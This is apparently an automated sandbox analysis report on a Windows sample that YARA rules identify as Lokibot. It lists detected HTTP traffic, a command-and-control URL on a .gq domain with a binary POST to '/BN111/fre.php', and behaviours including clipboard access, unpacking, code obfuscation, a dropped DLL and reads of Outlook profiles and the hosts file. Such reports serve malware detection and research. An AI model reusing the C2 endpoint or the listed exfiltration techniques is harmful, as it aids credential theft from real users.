Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:30:06 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=FqfohRhEiuDGtoufJZoPIftug9rZXOY0iplMIhBxlnIZUjBXtab%2FI2jNrquCvC6cysFzwjayYPJM%2BQ8Xe4Icd2EQlB4ETqyyfmXIN7wgx7vriAXvx8gP%2BAmVX2ww%2FgOFnLGPHUENBicNBv5tAeMhrHNfgSR2tA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec1cf4b1f63a7-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:30:07 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=eh8lR2VHuAd%2FabpYZW9tpbFbJtxx01L9yZN5vGSXcrxQt3sIQfCGSqyacaB9%2B3Hw2oVJwF7e7qyBl6EoN3hd1Wz7J66UUWTW97%2FegdbTRtYUGZPwPUIns9dbsm4VjmIJ9oYFMURDSLbk44n2badK3lPcW%2BIZzA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec1d6ad835bf5-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:30:08 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=M5tlpUopTFHdy2B09YRTb%2FcsTy7c1X2dY3sawEtin9CRp7iwQ7kHGGeqkAEUkgyYEQSHRIXi8G%2B0%2FPlXdk8CRXuTrtKeambiuJ5qPkn23PNVP4W0WpwprTjFbDp1IbPCTt%2F3Cd91aLWDrwa0e1cclMTu%2Brzvhw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec1decf8e5373-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:30:09 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=gHyoRfXpo3hYuDnMEqyfZQc%2BSSKitG5uVBPt%2FzcNSAReJa%2FdnOJKlN8woQLzqA6DJAKzj%2BBAgAMnotpu0f8pMIviMGE3p2X%2FOL6fJxdXzYrzgTzXXn262LF8tX4wih8wIb1Yn%2F1EvqCxP1YMpsu0Nm4iCqvv%2Fg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec1e69e5e4e50-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:30:11 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=XYPD7fSpOyQ9pBkkU7r%2Fv6SPQi%2By9UIzK%2B1PLsu1iFdzjzfJxzg08bwcNFnidoj1OFoTBYyGcRQqcfhRC5k8KnU8iYCvp%2FGLncP9ixeP9Nbj206KsQTvNUsDuvNAU27cTMUZR%2BeQ6CClwmRmdofqKK5juL3eYA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec1ef9dc84e2b-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:30:13 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=x2j5ZLeoHVLB0M3bMqX0PzaoLtVYEwCKEvGv1b3ZVT4MA7hLssUg4vrSoTR%2FE5D5SrSs6jQ1VXmZshZU40BlhiqRYtlB0oP0EeQEYcVIqQcXMEb13j5XLdZzrzFppZlNUH%2BxojLr5SNYRD263tyDlV%2Fqs9%2BBWg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec1fbbfb5beec-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:30:15 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=qIfWEe%2F6jyIr5T7SRE1AvZoCaCYM%2FbFVg7K%2BtIrH%2Bg2cqN5BZ7bF9LkzYb8H4TcHvLJGxjEene%2BEEAvpDhWU%2BAObyNoj5WQ%2FY8B2zI6QnfWVy2Mj3GhLDrM5%2B3ZllzuKto5k5eS%2FKyLRpb%2B6WFBaRW9j4UK%2F8Q%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec209ed614e3e-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:30:16 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=MOgqfzVELnT4zNLoiR%2FSN41Qdg4UYQCVdsKnFsPBrdghsXz7OOBzVnpKSPLQWJtPGBZRxeNAZ9xU4Mal%2FMaGqsNeP9SMc6UxO7qEZCv8h9fhuYogsRPNLHTuEjgFMYjq%2FGbTIEqvZDq8c1MmmAw0PfhreX1fCA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec2124acf0eb7-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:30:18 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=gxrVYDOVXCBXXewOH%2FJU78gmxBsZecNbyMCnQdhrynqYFCdLKoi%2BShuwRk3Wm6%2FFRdZt4dRQp2jPFEqfRpnLiPRvSx4RTqGet2X%2FOMvn5mcIBV960f5eIbfgCr3beNWQckv5%2F3qaZ1oRCAtM9L4XUXoBg8vx1A%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec21c7f1e6964-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: aZOmps0Ug8.exe, 00000001.00000002.612017929.0000000000658000.00000004.00000020.sdmp String found in binary or memory: http://74f26d34ffff049368a6cff8812f86ee.gq/BN111/fre.php
Source: aZOmps0Ug8.exe, 00000001.00000002.612017929.0000000000658000.00000004.00000020.sdmp String found in binary or memory: http://74f26d34ffff049368a6cff8812f86ee.gq/BN111/fre.phpA
Source: aZOmps0Ug8.exe String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: aZOmps0Ug8.exe String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: aZOmps0Ug8.exe, aZOmps0Ug8.exe, 00000001.00000001.351943759.0000000000400000.00000040.00020000.sdmp String found in binary or memory: http://www.ibsensoftware.com/
Source: unknown HTTP traffic detected: POST /BN111/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 74f26d34ffff049368a6cff8812f86ee.gqAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F4173EBCContent-Length: 196Connection: close
Source: unknown DNS traffic detected: queries for: 74f26d34ffff049368a6cff8812f86ee.gq
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 1_2_00404ED4 recv, 1_2_00404ED4

Key, Mouse, Clipboard, Microphone and Screen Capturing:

barindex
Contains functionality for read data from the clipboard
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 0_2_00404FC2 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard, 0_2_00404FC2

System Summary:

barindex
Malicious sample detected (through community Yara rule)
Source: 1.1.aZOmps0Ug8.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Loki Payload Author: kevoreilly
Source: 1.1.aZOmps0Ug8.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.aZOmps0Ug8.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Loki Payload Author: kevoreilly
Source: 1.2.aZOmps0Ug8.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.aZOmps0Ug8.exe.f030000.1.raw.unpack, type: UNPACKEDPE Matched rule: Loki Payload Author: kevoreilly
Source: 0.2.aZOmps0Ug8.exe.f030000.1.raw.unpack, type: UNPACKEDPE Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.aZOmps0Ug8.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Loki Payload Author: kevoreilly
Source: 1.2.aZOmps0Ug8.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.aZOmps0Ug8.exe.f030000.1.unpack, type: UNPACKEDPE Matched rule: Loki Payload Author: kevoreilly
Source: 0.2.aZOmps0Ug8.exe.f030000.1.unpack, type: UNPACKEDPE Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 1.1.aZOmps0Ug8.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Loki Payload Author: kevoreilly
Source: 1.1.aZOmps0Ug8.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.354804964.000000000F030000.00000004.00000001.sdmp, type: MEMORY Matched rule: Loki Payload Author: kevoreilly
Source: 00000000.00000002.354804964.000000000F030000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000001.351943759.0000000000400000.00000040.00020000.sdmp, type: MEMORY Matched rule: Loki Payload Author: kevoreilly
Source: 00000001.00000001.351943759.0000000000400000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.611891393.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Loki Payload Author: kevoreilly
Source: 00000001.00000002.611891393.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Uses 32bit PE files
Source: aZOmps0Ug8.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
Yara signature match
Source: 1.1.aZOmps0Ug8.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 1.1.aZOmps0Ug8.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 1.1.aZOmps0Ug8.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.aZOmps0Ug8.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 1.2.aZOmps0Ug8.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.aZOmps0Ug8.exe.f030000.1.raw.unpack, type: UNPACKEDPE Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 0.2.aZOmps0Ug8.exe.f030000.1.raw.unpack, type: UNPACKEDPE Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 0.2.aZOmps0Ug8.exe.f030000.1.raw.unpack, type: UNPACKEDPE Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.aZOmps0Ug8.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 1.2.aZOmps0Ug8.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.aZOmps0Ug8.exe.f030000.1.unpack, type: UNPACKEDPE Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 0.2.aZOmps0Ug8.exe.f030000.1.unpack, type: UNPACKEDPE Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 0.2.aZOmps0Ug8.exe.f030000.1.unpack, type: UNPACKEDPE Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 1.1.aZOmps0Ug8.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 1.1.aZOmps0Ug8.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.354804964.000000000F030000.00000004.00000001.sdmp, type: MEMORY Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 00000000.00000002.354804964.000000000F030000.00000004.00000001.sdmp, type: MEMORY Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000000.00000002.354804964.000000000F030000.00000004.00000001.sdmp, type: MEMORY Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000001.351943759.0000000000400000.00000040.00020000.sdmp, type: MEMORY Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000001.00000001.351943759.0000000000400000.00000040.00020000.sdmp, type: MEMORY Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.611891393.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000001.00000002.611891393.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Contains functionality to shutdown / reboot the system
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 0_2_004030FB EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess, 0_2_004030FB
Detected potential crypto function
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 0_2_004047D3 0_2_004047D3
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 0_2_004061D4 0_2_004061D4
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 0_2_10008836 0_2_10008836
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 0_2_10003D10 0_2_10003D10
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 0_2_100110E1 0_2_100110E1
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 0_2_1000F902 0_2_1000F902
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 0_2_100119AC 0_2_100119AC
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 0_2_100059B1 0_2_100059B1
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 0_2_1001A9FA 0_2_1001A9FA
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 0_2_1001AA09 0_2_1001AA09
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 0_2_1000B23E 0_2_1000B23E
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 0_2_1000FE74 0_2_1000FE74
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 0_2_10005EA5 0_2_10005EA5
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 0_2_100062BD 0_2_100062BD
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 0_2_100066F2 0_2_100066F2
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 0_2_10006B27 0_2_10006B27
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 0_2_1000F390 0_2_1000F390
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 1_2_0040549C 1_2_0040549C
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 1_2_004029D4 1_2_004029D4
Found potential string decryption / allocating functions
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: String function: 0041219C appears 45 times
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: String function: 00405B6F appears 42 times
Sample file is different than original file name gathered from version info
Source: aZOmps0Ug8.exe, 00000000.00000003.348584665.000000000F186000.00000004.00000001.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs aZOmps0Ug8.exe
Source: aZOmps0Ug8.exe Virustotal: Detection: 43%
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe File read: C:\Users\user\Desktop\aZOmps0Ug8.exe Jump to behavior
Source: aZOmps0Ug8.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\aZOmps0Ug8.exe 'C:\Users\user\Desktop\aZOmps0Ug8.exe'
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process created: C:\Users\user\Desktop\aZOmps0Ug8.exe 'C:\Users\user\Desktop\aZOmps0Ug8.exe'
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process created: C:\Users\user\Desktop\aZOmps0Ug8.exe 'C:\Users\user\Desktop\aZOmps0Ug8.exe' Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32 Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 1_2_0040650A LookupPrivilegeValueW,AdjustTokenPrivileges, 1_2_0040650A
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Crypto Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe File created: C:\Users\user\AppData\Local\Temp\nsj153F.tmp Jump to behavior
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@3/4@81/3
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 0_2_00402053 CoCreateInstance,MultiByteToWideChar, 0_2_00402053
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 0_2_00404292 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA, 0_2_00404292
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Mutant created: \Sessions\1\BaseNamedObjects\8F9C4E9C79A3B52B3F739430
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook Jump to behavior
Source: Binary string: wntdll.pdbUGP source: aZOmps0Ug8.exe, 00000000.00000003.347212605.000000000F200000.00000004.00000001.sdmp
Source: Binary string: wntdll.pdb source: aZOmps0Ug8.exe, 00000000.00000003.347212605.000000000F200000.00000004.00000001.sdmp

Data Obfuscation:

barindex
Detected unpacking (overwrites its own PE header)
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Unpacked PE file: 1.2.aZOmps0Ug8.exe.400000.0.unpack
Detected unpacking (changes PE section rights)
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Unpacked PE file: 1.2.aZOmps0Ug8.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.ndata:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.x:W;
Yara detected aPLib compressed binary
Source: Yara match File source: 1.1.aZOmps0Ug8.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.aZOmps0Ug8.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.aZOmps0Ug8.exe.f030000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.aZOmps0Ug8.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.aZOmps0Ug8.exe.f030000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.1.aZOmps0Ug8.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.354804964.000000000F030000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000001.351943759.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.611891393.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: aZOmps0Ug8.exe PID: 6780, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: aZOmps0Ug8.exe PID: 3980, type: MEMORYSTR
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 0_2_1000A505 push ecx; ret 0_2_1000A518
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 1_2_00402AC0 push eax; ret 1_2_00402AD4
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 1_2_00402AC0 push eax; ret 1_2_00402AFC

Persistence and Installation Behavior:

barindex
Drops PE files
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe File created: C:\Users\user\AppData\Local\Temp\nsj1540.tmp\mahyiit.dll Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

barindex
Extensive use of GetProcAddress (often used to hide API calls)
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 0_2_10008836 RtlEncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 0_2_10008836
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
